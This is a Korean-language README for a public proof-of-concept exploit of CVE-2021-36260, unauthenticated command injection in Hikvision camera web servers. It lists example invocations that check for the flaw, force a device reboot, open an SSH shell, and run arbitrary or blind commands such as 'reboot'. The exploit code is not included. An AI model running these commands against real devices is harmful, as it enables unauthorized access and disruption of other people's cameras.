CVE-2021-36260

CVE-2021-36260 POC, 일부 Hikvision 제품의 웹 서버에서 발생하는 명령 주입 취약점. 입력 검증이 충분하지 않아, 공격자는 악성 명령이 포함된 메시지를 전송하여 명령 주입 공격을 실행할 수 있습니다.

Exploit Title: Hikvision Web Server Build 210702 - Command Injection

Exploit Author: bashis

Vendor Homepage: https://www.hikvision.com/

Version: 1.0

CVE: CVE-2021-36260

Reference: https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html

모든 공로는 Watchful_IP에게 있습니다

참고:

1. 이 코드는 대상이 Hikvision 장치인지 확인하지 않습니다.
2. 이 코드에서 제가 가장 관심을 둔 부분은 취약하거나 악용 가능한 장치를 안정적으로 탐지하는 방법에 집중되어 있습니다. 일부 장치는 취약점 탐지, 확인 및 악용이 쉽지만, 다른 장치는 취약할 수 있지만 확인 및 악용이 쉽지 않습니다. 결합된 확인 코드는 매우 높은 정확도를 가질 것이라고 생각합니다.
3. '안전한 확인'(--check)은 확인을 위해 쓰기 및 읽기를 시도합니다. '안전하지 않은 확인'(--reboot)은 확인을 위해 장치를 재부팅합니다.

[예시] 안전한 취약점/확인 점검: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check

안전한 확인과 안전하지 않은 확인 점검: ('안전한 확인'으로 확인되지 않은 경우에만 '안전하지 않은 확인' 사용) $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot

안전하지 않은 취약점/확인 점검: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot

SSH 셸 실행 및 연결: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell

명령 실행: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -l"

블라인드 명령 실행: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot"